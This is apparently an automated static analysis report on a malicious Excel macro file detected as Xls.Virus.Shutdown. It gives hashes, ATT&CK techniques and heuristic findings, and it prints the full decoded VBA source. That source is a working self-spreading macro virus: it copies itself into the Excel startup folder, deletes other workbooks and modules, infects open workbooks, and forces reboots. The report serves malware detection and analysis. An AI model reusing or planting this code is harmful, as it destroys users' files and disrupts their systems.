Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9f8c9661016e842b…

MALICIOUS

Office (OLE)

42.0 KB Created: 2006-12-12 07:27:13 Authoring application: Microsoft Excel First seen: 2015-09-20
MD5: 189de765fdd68ea88a39b31d0d1f6140 SHA-1: 72fc9b3ba1e3a7a060e5c4ffde59820f7a155a46 SHA-256: 9f8c9661016e842b80b2eddb02cd445d72279884b398b30460df724efd0f7b45
156 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is an Excel spreadsheet containing VBA macros with Auto_Open and Auto_Close routines. The auto_open macro copies the spreadsheet to the Excel startup directory as 'SPECS.xls' and contains logic to execute a shutdown command. The auto_close macro also contains logic to execute a shutdown command. The critical heuristic 'OLE_VBA_SHELL' indicates a potential shell call, which is consistent with the observed shutdown command execution.

Heuristics 5

  • ClamAV: Xls.Virus.Shutdown-6922872-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Virus.Shutdown-6922872-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    If FileDateTime(Application.StartupPath & "\SPECS.xls") + 200 < Now Then Shell ("shutdown -r -f -t 00")
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub auto_close()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1883 bytes
SHA-256: 247f99119e3f9a7bab320590df043cd02a3e70da2a9996db2eb90601eedd092e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "SPECS"
Sub auto_open()
Attribute auto_open.VB_ProcData.VB_Invoke_Func = " \n14"
On Error Resume Next
Application.EnableEvents = False
    For Each kil In Workbooks
    If kil.Name <> "SPECS.xls" And kil.Path = Application.StartupPath Then
    fn = kil.FullName
    kil.Close (False)
    Kill (fn)
    End If
    Next
Application.EnableEvents = True
Randomize
If ThisWorkbook.Path <> Application.StartupPath Then
    If Dir(Application.StartupPath & "\SPECS.xls") = "" Then
    Application.ScreenUpdating = False
    ThisWorkbook.Sheets(1).Copy
    nam = ActiveWorkbook.Name
    ActiveWindow.Visible = False
    Workbooks(nam).SaveAs (Application.StartupPath & "\SPECS.xls")
    End If
If Rnd() < 0.01 Then ThisWorkbook.Password = "joker"
Else
'att
If FileDateTime(Application.StartupPath & "\SPECS.xls") + 200 < Now Then Shell ("shutdown -r -f -t 00")
End If
Application.OnWindow = "cop"
Application.OnSheetActivate = "cop"
End Sub
Sub cop()
Attribute cop.VB_ProcData.VB_Invoke_Func = " \n14"
On Error Resume Next
Application.ScreenUpdating = False
Application.DisplayAlerts = False
For Each mo In ActiveWorkbook.Modules
If mo.Name <> "SPECS" Then mo.Delete
Next
If ActiveWorkbook.Sheets(1).Name <> "SPECS" Then
ThisWorkbook.Sheets(1).Copy ActiveWorkbook.Sheets(1)
If ActiveWorkbook.Path <> "" Then ActiveWorkbook.Save
End If
Application.OnSheetActivate = "cop"
End Sub

Sub auto_close()
Attribute auto_close.VB_ProcData.VB_Invoke_Func = " \n14"
If Rnd() < 0.01 Then Shell ("shutdown -r -f -t 00")
End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True